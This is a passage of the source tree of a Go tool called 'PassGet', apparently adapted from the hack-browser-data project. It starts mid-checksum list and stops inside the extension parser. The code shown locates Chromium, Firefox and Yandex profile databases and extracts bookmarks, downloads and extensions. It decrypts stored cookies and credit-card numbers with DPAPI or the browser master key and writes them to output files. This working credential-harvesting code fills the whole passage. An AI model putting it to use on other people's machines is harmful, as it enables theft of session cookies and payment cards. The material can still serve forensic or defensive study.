v1.20.0 h1:80zmD3BGkm8BZ5fUi/4lwJQHiO3GXgIUvZRXpoIfROY= 136 | modernc.org/sqlite v1.20.0/go.mod h1:EsYz8rfOvLCiYTy5ZFsOYzoCcRMu98YYkwAcCw5YIYw= 137 | modernc.org/strutil v1.2.0 h1:agBi9dp1I+eOnxXeiZawM8F4LawKv4NzGWSaLfyeNZA= 138 | modernc.org/strutil v1.2.0/go.mod h1:/mdcBmfOibveCTBxUl5B5l6W+TTH1FXPLHZE6bTosX0= 139 | modernc.org/tcl v1.15.0 h1:oY+JeD11qVVSgVvodMJsu7Edf8tr5E/7tuhF5cNYz34= 140 | modernc.org/token v1.1.0 h1:Xl7Ap9dKaEs5kLoOQeQmPWevfnk/DM5qcLcYlA8ys6Y= 141 | modernc.org/token v1.1.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM= 142 | modernc.org/z v1.7.0 h1:xkDw/KepgEjeizO2sNco+hqYkU12taxQFqPEmgm1GWE= 143 | -------------------------------------------------------------------------------- /log/level/level.go: -------------------------------------------------------------------------------- 1 | package level 2 | 3 | // Level defines all the available levels we can log at 4 | type Level int32 5 | 6 | const ( 7 | // DebugLevel is the lowest level of logging. 8 | // Debug logs are intended for debugging and development purposes. 9 | DebugLevel Level = iota + 1 10 | 11 | // WarnLevel is used for undesired but relatively expected events, 12 | // which may indicate a problem. 13 | WarnLevel 14 | 15 | // ErrorLevel is used for undesired and unexpected events that 16 | // the program can recover from. 17 | ErrorLevel 18 | 19 | // FatalLevel is used for undesired and unexpected events that 20 | // the program cannot recover from. 21 | FatalLevel 22 | ) 23 | 24 | func (l Level) String() string { 25 | switch l { 26 | case DebugLevel: 27 | return "DEBUG" 28 | case WarnLevel: 29 | return "WARN" 30 | case ErrorLevel: 31 | return "ERROR" 32 | case FatalLevel: 33 | return "FATAL" 34 | default: 35 | return "UNKNOWN" 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /log/log.go: -------------------------------------------------------------------------------- 1 | package log 2 | 3 | import ( 4 | "PassGet/log/level" 5 | ) 6 | 7 | var ( 8 | // defaultLogger is the default logger used by the package-level functions. 9 | defaultLogger = NewLogger(nil) 10 | ) 11 | 12 | func SetVerbose() { 13 | defaultLogger.SetLevel(level.DebugLevel) 14 | } 15 | 16 | func Debug(args ...any) { 17 | defaultLogger.Debug(args...) 18 | } 19 | 20 | func Debugf(format string, args ...any) { 21 | defaultLogger.Debugf(format, args...) 22 | } 23 | 24 | func Warn(args ...any) { 25 | defaultLogger.Warn(args...) 26 | } 27 | 28 | func Warnf(format string, args ...any) { 29 | defaultLogger.Warnf(format, args...) 30 | } 31 | 32 | func Error(args ...any) { 33 | defaultLogger.Error(args...) 34 | } 35 | 36 | func Errorf(format string, args ...any) { 37 | defaultLogger.Errorf(format, args...) 38 | } 39 | 40 | func Fatal(args ...any) { 41 | defaultLogger.Fatal(args...) 42 | } 43 | 44 | func Fatalf(format string, args ...any) { 45 | defaultLogger.Fatalf(format, args...) 46 | } 47 | -------------------------------------------------------------------------------- /log/logger.go: -------------------------------------------------------------------------------- 1 | package log 2 | 3 | import ( 4 | "PassGet/log/level" 5 | "fmt" 6 | "io" 7 | stdlog "log" 8 | "os" 9 | "runtime" 10 | "strings" 11 | "sync/atomic" 12 | ) 13 | 14 | // NewLogger creates and returns a new instance of Logger. 15 | // Log level is set to DebugLevel by default. 16 | func NewLogger(base Base) *Logger { 17 | if base == nil { 18 | base = newBase(os.Stderr) 19 | } 20 | return &Logger{base: base, minLevel: level.WarnLevel} 21 | } 22 | 23 | // Logger logs message to io.Writer at various log levels. 24 | type Logger struct { 25 | base Base 26 | 27 | // Minimum log level for this logger. 28 | // Message with level lower than this level won't be outputted. 29 | minLevel level.Level 30 | } 31 | 32 | // canLogAt reports whether logger can log at level v. 33 | func (l *Logger) canLogAt(v level.Level) bool { 34 | return v >= level.Level(atomic.LoadInt32((*int32)(&l.minLevel))) 35 | } 36 | 37 | // SetLevel sets the logger level. 38 | // It panics if v is less than DebugLevel or greater than FatalLevel. 39 | func (l *Logger) SetLevel(v level.Level) { 40 | if v < level.DebugLevel || v > level.FatalLevel { 41 | panic("log: invalid log level") 42 | } 43 | atomic.StoreInt32((*int32)(&l.minLevel), int32(v)) 44 | } 45 | 46 | func (l *Logger) Debug(args ...any) { 47 | if !l.canLogAt(level.DebugLevel) { 48 | return 49 | } 50 | l.base.Debug(args...) 51 | } 52 | 53 | func (l *Logger) Warn(args ...any) { 54 | if !l.canLogAt(level.WarnLevel) { 55 | return 56 | } 57 | l.base.Warn(args...) 58 | } 59 | 60 | func (l *Logger) Error(args ...any) { 61 | if !l.canLogAt(level.ErrorLevel) { 62 | return 63 | } 64 | l.base.Error(args...) 65 | } 66 | 67 | func (l *Logger) Fatal(args ...any) { 68 | if !l.canLogAt(level.FatalLevel) { 69 | return 70 | } 71 | l.base.Fatal(args...) 72 | } 73 | 74 | func (l *Logger) Debugf(format string, args ...any) { 75 | if !l.canLogAt(level.DebugLevel) { 76 | return 77 | } 78 | l.base.Debug(fmt.Sprintf(format, args...)) 79 | } 80 | 81 | func (l *Logger) Warnf(format string, args ...any) { 82 | if !l.canLogAt(level.WarnLevel) { 83 | return 84 | } 85 | l.base.Warn(fmt.Sprintf(format, args...)) 86 | } 87 | 88 | func (l *Logger) Errorf(format string, args ...any) { 89 | if !l.canLogAt(level.ErrorLevel) { 90 | return 91 | } 92 | l.base.Error(fmt.Sprintf(format, args...)) 93 | } 94 | 95 | func (l *Logger) Fatalf(format string, args ...any) { 96 | if !l.canLogAt(level.FatalLevel) { 97 | return 98 | } 99 | l.base.Fatal(fmt.Sprintf(format, args...)) 100 | } 101 | 102 | type Base interface { 103 | Debug(args ...any) 104 | Warn(args ...any) 105 | Error(args ...any) 106 | Fatal(args ...any) 107 | } 108 | 109 | // baseLogger is a wrapper object around log.Logger from the standard library. 110 | // It supports logging at various log levels. 111 | type baseLogger struct { 112 | *stdlog.Logger 113 | callDepth int 114 | } 115 | 116 | func newBase(out io.Writer) *baseLogger { 117 | prefix := "[hack-browser-data] " 118 | base := &baseLogger{ 119 | Logger: stdlog.New(out, prefix, stdlog.Lshortfile), 120 | } 121 | base.callDepth = base.calculateCallDepth() 122 | return base 123 | } 124 | 125 | // calculateCallDepth returns the call depth for the logger. 126 | func (l *baseLogger) calculateCallDepth() int { 127 | return l.getCallDepth() 128 | } 129 | 130 | func (l *baseLogger) prefixPrint(prefix string, args ...any) { 131 | args = append([]any{prefix}, args...) 132 | if err := l.Output(l.callDepth, fmt.Sprint(args...)); err != nil { 133 | _, _ = fmt.Fprintf(os.Stderr, "log output error: %v\n", err) 134 | } 135 | } 136 | 137 | func (l *baseLogger) getCallDepth() int { 138 | var defaultCallDepth = 2 139 | pcs := make([]uintptr, 10) 140 | n := runtime.Callers(defaultCallDepth, pcs) 141 | frames := runtime.CallersFrames(pcs[:n]) 142 | for i := 0; i < n; i++ { 143 | frame, more := frames.Next() 144 | if !l.isLoggerPackage(frame.Function) { 145 | return i + 1 146 | } 147 | if !more { 148 | break 149 | } 150 | } 151 | return defaultCallDepth 152 | } 153 | 154 | func (l *baseLogger) isLoggerPackage(funcName string) bool { 155 | const loggerFuncName = "hackbrowserdata/log" 156 | return strings.Contains(funcName, loggerFuncName) 157 | } 158 | 159 | // Debug logs a message at Debug level. 160 | func (l *baseLogger) Debug(args ...any) { 161 | l.prefixPrint("DEBUG: ", args...) 162 | } 163 | 164 | // Warn logs a message at Warning level. 165 | func (l *baseLogger) Warn(args ...any) { 166 | l.prefixPrint("WARN: ", args...) 167 | } 168 | 169 | // Error logs a message at Error level. 170 | func (l *baseLogger) Error(args ...any) { 171 | l.prefixPrint("ERROR: ", args...) 172 | } 173 | 174 | var osExit = os.Exit 175 | 176 | // Fatal logs a message at Fatal level 177 | // and process will exit with status set to 1. 178 | func (l *baseLogger) Fatal(args ...any) { 179 | l.prefixPrint("FATAL: ", args...) 180 | osExit(1) 181 | } 182 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "PassGet/modules/run" 5 | ) 6 | 7 | func main() { 8 | run.Run() 9 | } 10 | -------------------------------------------------------------------------------- /modules/browser/browserGet.go: -------------------------------------------------------------------------------- 1 | package browser 2 | 3 | import ( 4 | "PassGet/modules/browser/pick" 5 | br "PassGet/modules/utils/browser" 6 | ) 7 | 8 | func Get() error { 9 | browsers, err := browser.PickBrowsers(br.BrowserName, br.ProfilePath) 10 | if err != nil { 11 | //log.Errorf("pick browsers %v", err) 12 | return err 13 | } 14 | for _, b := range browsers { 15 | data, err := b.BrowsingData(true) 16 | if err != nil { 17 | //log.Errorf("get browsing data error %v", err) 18 | continue 19 | } 20 | data.Output(br.OutputDir+"/browser", b.Name(), br.OutputFormat) 21 | } 22 | //log.Debug("compress success") 23 | return nil 24 | } 25 | -------------------------------------------------------------------------------- /modules/browser/browserdata/bookmark/bookmark.go: -------------------------------------------------------------------------------- 1 | package bookmark 2 | 3 | import ( 4 | "database/sql" 5 | "os" 6 | "sort" 7 | "time" 8 | 9 | "github.com/tidwall/gjson" 10 | _ "modernc.org/sqlite" // import sqlite3 driver 11 | 12 | "PassGet/log" 13 | "PassGet/modules/utils/browser/extractor" 14 | "PassGet/modules/utils/browser/fileutil" 15 | "PassGet/modules/utils/browser/types" 16 | "PassGet/modules/utils/browser/typeutil" 17 | ) 18 | 19 | func init() { 20 | extractor.RegisterExtractor(types.ChromiumBookmark, func() extractor.Extractor { 21 | return new(ChromiumBookmark) 22 | }) 23 | extractor.RegisterExtractor(types.FirefoxBookmark, func() extractor.Extractor { 24 | return new(FirefoxBookmark) 25 | }) 26 | } 27 | 28 | type ChromiumBookmark []bookmark 29 | 30 | type bookmark struct { 31 | ID int64 32 | Name string 33 | Type string 34 | URL string 35 | DateAdded time.Time 36 | } 37 | 38 | func (c *ChromiumBookmark) Extract(_ []byte) error { 39 | bookmarks, err := fileutil.ReadFile(types.ChromiumBookmark.TempFilename()) 40 | if err != nil { 41 | return err 42 | } 43 | defer os.Remove(types.ChromiumBookmark.TempFilename()) 44 | r := gjson.Parse(bookmarks) 45 | if r.Exists() { 46 | roots := r.Get("roots") 47 | roots.ForEach(func(key, value gjson.Result) bool { 48 | getBookmarkChildren(value, c) 49 | return true 50 | }) 51 | } 52 | 53 | sort.Slice(*c, func(i, j int) bool { 54 | return (*c)[i].DateAdded.After((*c)[j].DateAdded) 55 | }) 56 | return nil 57 | } 58 | 59 | const ( 60 | bookmarkID = "id" 61 | bookmarkAdded = "date_added" 62 | bookmarkURL = "url" 63 | bookmarkName = "name" 64 | bookmarkType = "type" 65 | bookmarkChildren = "children" 66 | ) 67 | 68 | func getBookmarkChildren(value gjson.Result, w *ChromiumBookmark) (children gjson.Result) { 69 | nodeType := value.Get(bookmarkType) 70 | children = value.Get(bookmarkChildren) 71 | 72 | bm := bookmark{ 73 | ID: value.Get(bookmarkID).Int(), 74 | Name: value.Get(bookmarkName).String(), 75 | URL: value.Get(bookmarkURL).String(), 76 | DateAdded: typeutil.TimeEpoch(value.Get(bookmarkAdded).Int()), 77 | } 78 | if nodeType.Exists() { 79 | bm.Type = nodeType.String() 80 | *w = append(*w, bm) 81 | if children.Exists() && children.IsArray() { 82 | for _, v := range children.Array() { 83 | children = getBookmarkChildren(v, w) 84 | } 85 | } 86 | } 87 | return children 88 | } 89 | 90 | func (c *ChromiumBookmark) Name() string { 91 | return "bookmark" 92 | } 93 | 94 | func (c *ChromiumBookmark) Len() int { 95 | return len(*c) 96 | } 97 | 98 | type FirefoxBookmark []bookmark 99 | 100 | const ( 101 | queryFirefoxBookMark = `SELECT id, url, type, dateAdded, title FROM (SELECT * FROM moz_bookmarks INNER JOIN moz_places ON moz_bookmarks.fk=moz_places.id)` 102 | closeJournalMode = `PRAGMA journal_mode=off` 103 | ) 104 | 105 | func (f *FirefoxBookmark) Extract(_ []byte) error { 106 | db, err := sql.Open("sqlite", types.FirefoxBookmark.TempFilename()) 107 | if err != nil { 108 | return err 109 | } 110 | defer os.Remove(types.FirefoxBookmark.TempFilename()) 111 | defer db.Close() 112 | _, err = db.Exec(closeJournalMode) 113 | if err != nil { 114 | log.Debugf("close journal mode error: %v", err) 115 | } 116 | rows, err := db.Query(queryFirefoxBookMark) 117 | if err != nil { 118 | return err 119 | } 120 | defer rows.Close() 121 | for rows.Next() { 122 | var ( 123 | id, bt, dateAdded int64 124 | title, url string 125 | ) 126 | if err = rows.Scan(&id, &url, &bt, &dateAdded, &title); err != nil { 127 | log.Debugf("scan bookmark error: %v", err) 128 | } 129 | *f = append(*f, bookmark{ 130 | ID: id, 131 | Name: title, 132 | Type: linkType(bt), 133 | URL: url, 134 | DateAdded: typeutil.TimeStamp(dateAdded / 1000000), 135 | }) 136 | } 137 | sort.Slice(*f, func(i, j int) bool { 138 | return (*f)[i].DateAdded.After((*f)[j].DateAdded) 139 | }) 140 | return nil 141 | } 142 | 143 | func (f *FirefoxBookmark) Name() string { 144 | return "bookmark" 145 | } 146 | 147 | func (f *FirefoxBookmark) Len() int { 148 | return len(*f) 149 | } 150 | 151 | func linkType(a int64) string { 152 | switch a { 153 | case 1: 154 | return "url" 155 | default: 156 | return "folder" 157 | } 158 | } 159 | -------------------------------------------------------------------------------- /modules/browser/browserdata/browserdata.go: -------------------------------------------------------------------------------- 1 | package browserdata 2 | 3 | import ( 4 | "PassGet/log" 5 | "PassGet/modules/utils/browser/extractor" 6 | "PassGet/modules/utils/browser/fileutil" 7 | "PassGet/modules/utils/browser/types" 8 | ) 9 | 10 | type BrowserData struct { 11 | extractors map[types.DataType]extractor.Extractor 12 | } 13 | 14 | func New(items []types.DataType) *BrowserData { 15 | bd := &BrowserData{ 16 | extractors: make(map[types.DataType]extractor.Extractor), 17 | } 18 | bd.addExtractors(items) 19 | return bd 20 | } 21 | 22 | func (d *BrowserData) Recovery(masterKey []byte) error { 23 | for _, source := range d.extractors { 24 | if err := source.Extract(masterKey); err != nil { 25 | log.Debugf("parse %s error: %v", source.Name(), err) 26 | continue 27 | } 28 | } 29 | return nil 30 | } 31 | 32 | func (d *BrowserData) Output(dir, browserName, flag string) { 33 | output := newOutPutter(flag) 34 | 35 | for _, source := range d.extractors { 36 | if source.Len() == 0 { 37 | // if the length of the export data is 0, then it is not necessary to output 38 | continue 39 | } 40 | filename := fileutil.Filename(browserName, source.Name(), output.Ext()) 41 | 42 | f, err := output.CreateFile(dir, filename) 43 | if err != nil { 44 | log.Debugf("create file %s error: %v", filename, err) 45 | continue 46 | } 47 | if err := output.Write(source, f); err != nil { 48 | log.Debugf("write to file %s error: %v", filename, err) 49 | continue 50 | } 51 | if err := f.Close(); err != nil { 52 | log.Debugf("close file %s error: %v", filename, err) 53 | continue 54 | } 55 | //log.Warnf("export success: %s", filename) 56 | } 57 | } 58 | 59 | func (d *BrowserData) addExtractors(items []types.DataType) { 60 | for _, itemType := range items { 61 | if source := extractor.CreateExtractor(itemType); source != nil { 62 | d.extractors[itemType] = source 63 | } else { 64 | log.Debugf("source not found: %s", itemType) 65 | } 66 | } 67 | } 68 | -------------------------------------------------------------------------------- /modules/browser/browserdata/cookie/cookie.go: -------------------------------------------------------------------------------- 1 | package cookie 2 | 3 | import ( 4 | "database/sql" 5 | "os" 6 | "sort" 7 | "time" 8 | 9 | // import sqlite3 driver 10 | _ "modernc.org/sqlite" 11 | 12 | "PassGet/log" 13 | "PassGet/modules/utils/browser/crypto" 14 | "PassGet/modules/utils/browser/extractor" 15 | "PassGet/modules/utils/browser/types" 16 | "PassGet/modules/utils/browser/typeutil" 17 | ) 18 | 19 | func init() { 20 | extractor.RegisterExtractor(types.ChromiumCookie, func() extractor.Extractor { 21 | return new(ChromiumCookie) 22 | }) 23 | extractor.RegisterExtractor(types.FirefoxCookie, func() extractor.Extractor { 24 | return new(FirefoxCookie) 25 | }) 26 | } 27 | 28 | type ChromiumCookie []cookie 29 | 30 | type cookie struct { 31 | Host string 32 | Path string 33 | KeyName string 34 | encryptValue []byte 35 | Value string 36 | IsSecure bool 37 | IsHTTPOnly bool 38 | HasExpire bool 39 | IsPersistent bool 40 | CreateDate time.Time 41 | ExpireDate time.Time 42 | } 43 | 44 | const ( 45 | queryChromiumCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies` 46 | ) 47 | 48 | func (c *ChromiumCookie) Extract(masterKey []byte) error { 49 | db, err := sql.Open("sqlite", types.ChromiumCookie.TempFilename()) 50 | if err != nil { 51 | return err 52 | } 53 | defer os.Remove(types.ChromiumCookie.TempFilename()) 54 | defer db.Close() 55 | rows, err := db.Query(queryChromiumCookie) 56 | if err != nil { 57 | return err 58 | } 59 | defer rows.Close() 60 | for rows.Next() { 61 | var ( 62 | key, host, path string 63 | isSecure, isHTTPOnly, hasExpire, isPersistent int 64 | createDate, expireDate int64 65 | value, encryptValue []byte 66 | ) 67 | if err = rows.Scan(&key, &encryptValue, &host, &path, &createDate, &expireDate, &isSecure, &isHTTPOnly, &hasExpire, &isPersistent); err != nil { 68 | log.Debugf("scan chromium cookie error: %v", err) 69 | } 70 | 71 | cookie := cookie{ 72 | KeyName: key, 73 | Host: host, 74 | Path: path, 75 | encryptValue: encryptValue, 76 | IsSecure: typeutil.IntToBool(isSecure), 77 | IsHTTPOnly: typeutil.IntToBool(isHTTPOnly), 78 | HasExpire: typeutil.IntToBool(hasExpire), 79 | IsPersistent: typeutil.IntToBool(isPersistent), 80 | CreateDate: typeutil.TimeEpoch(createDate), 81 | ExpireDate: typeutil.TimeEpoch(expireDate), 82 | } 83 | 84 | if len(encryptValue) > 0 { 85 | value, err = crypto.DecryptWithDPAPI(encryptValue) 86 | if err != nil { 87 | value, err = crypto.DecryptWithChromium(masterKey, encryptValue) 88 | if err != nil { 89 | log.Debugf("decrypt chromium cookie error: %v", err) 90 | } 91 | } 92 | } 93 | 94 | cookie.Value = string(value) 95 | *c = append(*c, cookie) 96 | } 97 | sort.Slice(*c, func(i, j int) bool { 98 | return (*c)[i].CreateDate.After((*c)[j].CreateDate) 99 | }) 100 | return nil 101 | } 102 | 103 | func (c *ChromiumCookie) Name() string { 104 | return "cookie" 105 | } 106 | 107 | func (c *ChromiumCookie) Len() int { 108 | return len(*c) 109 | } 110 | 111 | type FirefoxCookie []cookie 112 | 113 | const ( 114 | queryFirefoxCookie = `SELECT name, value, host, path, creationTime, expiry, isSecure, isHttpOnly FROM moz_cookies` 115 | ) 116 | 117 | func (f *FirefoxCookie) Extract(_ []byte) error { 118 | db, err := sql.Open("sqlite", types.FirefoxCookie.TempFilename()) 119 | if err != nil { 120 | return err 121 | } 122 | defer os.Remove(types.FirefoxCookie.TempFilename()) 123 | defer db.Close() 124 | 125 | rows, err := db.Query(queryFirefoxCookie) 126 | if err != nil { 127 | return err 128 | } 129 | defer rows.Close() 130 | for rows.Next() { 131 | var ( 132 | name, value, host, path string 133 | isSecure, isHTTPOnly int 134 | creationTime, expiry int64 135 | ) 136 | if err = rows.Scan(&name, &value, &host, &path, &creationTime, &expiry, &isSecure, &isHTTPOnly); err != nil { 137 | log.Debugf("scan firefox cookie error: %v", err) 138 | } 139 | *f = append(*f, cookie{ 140 | KeyName: name, 141 | Host: host, 142 | Path: path, 143 | IsSecure: typeutil.IntToBool(isSecure), 144 | IsHTTPOnly: typeutil.IntToBool(isHTTPOnly), 145 | CreateDate: typeutil.TimeStamp(creationTime / 1000000), 146 | ExpireDate: typeutil.TimeStamp(expiry), 147 | Value: value, 148 | }) 149 | } 150 | 151 | sort.Slice(*f, func(i, j int) bool { 152 | return (*f)[i].CreateDate.After((*f)[j].CreateDate) 153 | }) 154 | return nil 155 | } 156 | 157 | func (f *FirefoxCookie) Name() string { 158 | return "cookie" 159 | } 160 | 161 | func (f *FirefoxCookie) Len() int { 162 | return len(*f) 163 | } 164 | -------------------------------------------------------------------------------- /modules/browser/browserdata/creditcard/creditcard.go: -------------------------------------------------------------------------------- 1 | package creditcard 2 | 3 | import ( 4 | "database/sql" 5 | "os" 6 | 7 | // import sqlite3 driver 8 | _ "modernc.org/sqlite" 9 | 10 | "PassGet/log" 11 | "PassGet/modules/utils/browser/crypto" 12 | "PassGet/modules/utils/browser/extractor" 13 | "PassGet/modules/utils/browser/types" 14 | ) 15 | 16 | func init() { 17 | extractor.RegisterExtractor(types.ChromiumCreditCard, func() extractor.Extractor { 18 | return new(ChromiumCreditCard) 19 | }) 20 | extractor.RegisterExtractor(types.YandexCreditCard, func() extractor.Extractor { 21 | return new(YandexCreditCard) 22 | }) 23 | } 24 | 25 | type ChromiumCreditCard []card 26 | 27 | type card struct { 28 | GUID string 29 | Name string 30 | ExpirationYear string 31 | ExpirationMonth string 32 | CardNumber string 33 | Address string 34 | NickName string 35 | } 36 | 37 | const ( 38 | queryChromiumCredit = `SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted, billing_address_id, nickname FROM credit_cards` 39 | ) 40 | 41 | func (c *ChromiumCreditCard) Extract(masterKey []byte) error { 42 | db, err := sql.Open("sqlite", types.ChromiumCreditCard.TempFilename()) 43 | if err != nil { 44 | return err 45 | } 46 | defer os.Remove(types.ChromiumCreditCard.TempFilename()) 47 | defer db.Close() 48 | 49 | rows, err := db.Query(queryChromiumCredit) 50 | if err != nil { 51 | return err 52 | } 53 | defer rows.Close() 54 | for rows.Next() { 55 | var ( 56 | name, month, year, guid, address, nickname string 57 | value, encryptValue []byte 58 | ) 59 | if err := rows.Scan(&guid, &name, &month, &year, &encryptValue, &address, &nickname); err != nil { 60 | log.Debugf("scan chromium credit card error: %v", err) 61 | } 62 | ccInfo := card{ 63 | GUID: guid, 64 | Name: name, 65 | ExpirationMonth: month, 66 | ExpirationYear: year, 67 | Address: address, 68 | NickName: nickname, 69 | } 70 | if len(encryptValue) > 0 { 71 | if len(masterKey) == 0 { 72 | value, err = crypto.DecryptWithDPAPI(encryptValue) 73 | } else { 74 | value, err = crypto.DecryptWithChromium(masterKey, encryptValue) 75 | } 76 | if err != nil { 77 | log.Debugf("decrypt chromium credit card error: %v", err) 78 | } 79 | } 80 | 81 | ccInfo.CardNumber = string(value) 82 | *c = append(*c, ccInfo) 83 | } 84 | return nil 85 | } 86 | 87 | func (c *ChromiumCreditCard) Name() string { 88 | return "creditcard" 89 | } 90 | 91 | func (c *ChromiumCreditCard) Len() int { 92 | return len(*c) 93 | } 94 | 95 | type YandexCreditCard []card 96 | 97 | func (c *YandexCreditCard) Extract(masterKey []byte) error { 98 | db, err := sql.Open("sqlite", types.YandexCreditCard.TempFilename()) 99 | if err != nil { 100 | return err 101 | } 102 | defer os.Remove(types.YandexCreditCard.TempFilename()) 103 | defer db.Close() 104 | rows, err := db.Query(queryChromiumCredit) 105 | if err != nil { 106 | return err 107 | } 108 | defer rows.Close() 109 | for rows.Next() { 110 | var ( 111 | name, month, year, guid, address, nickname string 112 | value, encryptValue []byte 113 | ) 114 | if err := rows.Scan(&guid, &name, &month, &year, &encryptValue, &address, &nickname); err != nil { 115 | log.Debugf("scan chromium credit card error: %v", err) 116 | } 117 | ccInfo := card{ 118 | GUID: guid, 119 | Name: name, 120 | ExpirationMonth: month, 121 | ExpirationYear: year, 122 | Address: address, 123 | NickName: nickname, 124 | } 125 | if len(encryptValue) > 0 { 126 | if len(masterKey) == 0 { 127 | value, err = crypto.DecryptWithDPAPI(encryptValue) 128 | } else { 129 | value, err = crypto.DecryptWithChromium(masterKey, encryptValue) 130 | } 131 | if err != nil { 132 | log.Debugf("decrypt chromium credit card error: %v", err) 133 | } 134 | } 135 | ccInfo.CardNumber = string(value) 136 | *c = append(*c, ccInfo) 137 | } 138 | return nil 139 | } 140 | 141 | func (c *YandexCreditCard) Name() string { 142 | return "creditcard" 143 | } 144 | 145 | func (c *YandexCreditCard) Len() int { 146 | return len(*c) 147 | } 148 | -------------------------------------------------------------------------------- /modules/browser/browserdata/download/download.go: -------------------------------------------------------------------------------- 1 | package download 2 | 3 | import ( 4 | "database/sql" 5 | "os" 6 | "sort" 7 | "strings" 8 | "time" 9 | 10 | "github.com/tidwall/gjson" 11 | _ "modernc.org/sqlite" // import sqlite3 driver 12 | 13 | "PassGet/log" 14 | "PassGet/modules/utils/browser/extractor" 15 | "PassGet/modules/utils/browser/types" 16 | "PassGet/modules/utils/browser/typeutil" 17 | ) 18 | 19 | func init() { 20 | extractor.RegisterExtractor(types.ChromiumDownload, func() extractor.Extractor { 21 | return new(ChromiumDownload) 22 | }) 23 | extractor.RegisterExtractor(types.FirefoxDownload, func() extractor.Extractor { 24 | return new(FirefoxDownload) 25 | }) 26 | } 27 | 28 | type ChromiumDownload []download 29 | 30 | type download struct { 31 | TargetPath string 32 | URL string 33 | TotalBytes int64 34 | StartTime time.Time 35 | EndTime time.Time 36 | MimeType string 37 | } 38 | 39 | const ( 40 | queryChromiumDownload = `SELECT target_path, tab_url, total_bytes, start_time, end_time, mime_type FROM downloads` 41 | ) 42 | 43 | func (c *ChromiumDownload) Extract(_ []byte) error { 44 | db, err := sql.Open("sqlite", types.ChromiumDownload.TempFilename()) 45 | if err != nil { 46 | return err 47 | } 48 | defer os.Remove(types.ChromiumDownload.TempFilename()) 49 | defer db.Close() 50 | rows, err := db.Query(queryChromiumDownload) 51 | if err != nil { 52 | return err 53 | } 54 | defer rows.Close() 55 | for rows.Next() { 56 | var ( 57 | targetPath, tabURL, mimeType string 58 | totalBytes, startTime, endTime int64 59 | ) 60 | if err := rows.Scan(&targetPath, &tabURL, &totalBytes, &startTime, &endTime, &mimeType); err != nil { 61 | //log.Warnf("scan chromium download error: %v", err) 62 | } 63 | data := download{ 64 | TargetPath: targetPath, 65 | URL: tabURL, 66 | TotalBytes: totalBytes, 67 | StartTime: typeutil.TimeEpoch(startTime), 68 | EndTime: typeutil.TimeEpoch(endTime), 69 | MimeType: mimeType, 70 | } 71 | *c = append(*c, data) 72 | } 73 | sort.Slice(*c, func(i, j int) bool { 74 | return (*c)[i].TotalBytes > (*c)[j].TotalBytes 75 | }) 76 | return nil 77 | } 78 | 79 | func (c *ChromiumDownload) Name() string { 80 | return "download" 81 | } 82 | 83 | func (c *ChromiumDownload) Len() int { 84 | return len(*c) 85 | } 86 | 87 | type FirefoxDownload []download 88 | 89 | const ( 90 | queryFirefoxDownload = `SELECT place_id, GROUP_CONCAT(content), url, dateAdded FROM (SELECT * FROM moz_annos INNER JOIN moz_places ON moz_annos.place_id=moz_places.id) t GROUP BY place_id` 91 | closeJournalMode = `PRAGMA journal_mode=off` 92 | ) 93 | 94 | func (f *FirefoxDownload) Extract(_ []byte) error { 95 | db, err := sql.Open("sqlite", types.FirefoxDownload.TempFilename()) 96 | if err != nil { 97 | return err 98 | } 99 | defer os.Remove(types.FirefoxDownload.TempFilename()) 100 | defer db.Close() 101 | 102 | _, err = db.Exec(closeJournalMode) 103 | if err != nil { 104 | log.Debugf("close journal mode error: %v", err) 105 | } 106 | rows, err := db.Query(queryFirefoxDownload) 107 | if err != nil { 108 | return err 109 | } 110 | defer rows.Close() 111 | for rows.Next() { 112 | var ( 113 | content, url string 114 | placeID, dateAdded int64 115 | ) 116 | if err = rows.Scan(&placeID, &content, &url, &dateAdded); err != nil { 117 | //log.Warnf("scan firefox download error: %v", err) 118 | } 119 | contentList := strings.Split(content, ",{") 120 | if len(contentList) > 1 { 121 | path := contentList[0] 122 | json := "{" + contentList[1] 123 | endTime := gjson.Get(json, "endTime") 124 | fileSize := gjson.Get(json, "fileSize") 125 | *f = append(*f, download{ 126 | TargetPath: path, 127 | URL: url, 128 | TotalBytes: fileSize.Int(), 129 | StartTime: typeutil.TimeStamp(dateAdded / 1000000), 130 | EndTime: typeutil.TimeStamp(endTime.Int() / 1000), 131 | }) 132 | } 133 | } 134 | sort.Slice(*f, func(i, j int) bool { 135 | return (*f)[i].TotalBytes < (*f)[j].TotalBytes 136 | }) 137 | return nil 138 | } 139 | 140 | func (f *FirefoxDownload) Name() string { 141 | return "download" 142 | } 143 | 144 | func (f *FirefoxDownload) Len() int { 145 | return len(*f) 146 | } 147 | -------------------------------------------------------------------------------- /modules/browser/browserdata/extension/extension.go: -------------------------------------------------------------------------------- 1 | package extension 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | "strings" 7 | 8 | "github.com/tidwall/gjson" 9 | "golang.org/x/text/language" 10 | 11 | "PassGet/modules/utils/browser/extractor" 12 | "PassGet/modules/utils/browser/fileutil" 13 | "PassGet/modules/utils/browser/types" 14 | ) 15 | 16 | func init() { 17 | extractor.RegisterExtractor(types.ChromiumExtension, func() extractor.Extractor { 18 | return new(ChromiumExtension) 19 | }) 20 | extractor.RegisterExtractor(types.FirefoxExtension, func() extractor.Extractor { 21 | return new(FirefoxExtension) 22 | }) 23 | } 24 | 25 | type ChromiumExtension []*extension 26 | 27 | type extension struct { 28 | ID string 29 | URL string 30 | Enabled bool 31 | Name string 32 | Description string 33 | Version string 34 | HomepageURL string 35 | } 36 | 37 | func (c *ChromiumExtension) Extract(_ []byte) error { 38 | extensionFile, err := fileutil.ReadFile(types.ChromiumExtension.TempFilename()) 39 | if err != nil { 40 | return err 41 | } 42 | defer os.Remove(types.ChromiumExtension.TempFilename()) 43 | 44 | result, err := parseChromiumExtensions(extensionFile) 45 | if err != nil { 46 | return err 47 | } 48 | *c = result 49 | return nil 50 | } 51 | 52 | func parseChromiumExtensions(content string) ([]*extension, error) { 53 | settingKeys := []string{ 54 | "settings.extensions", 55 | "settings.settings", 56 | "extensions.settings", 57 | } 58 | var settings gjson.Result 59 | for _, key := range settingKeys { 60 | settings = gjson.Parse(content).Get(key) 61 | if settings.Exists() { 62 | break 63 | } 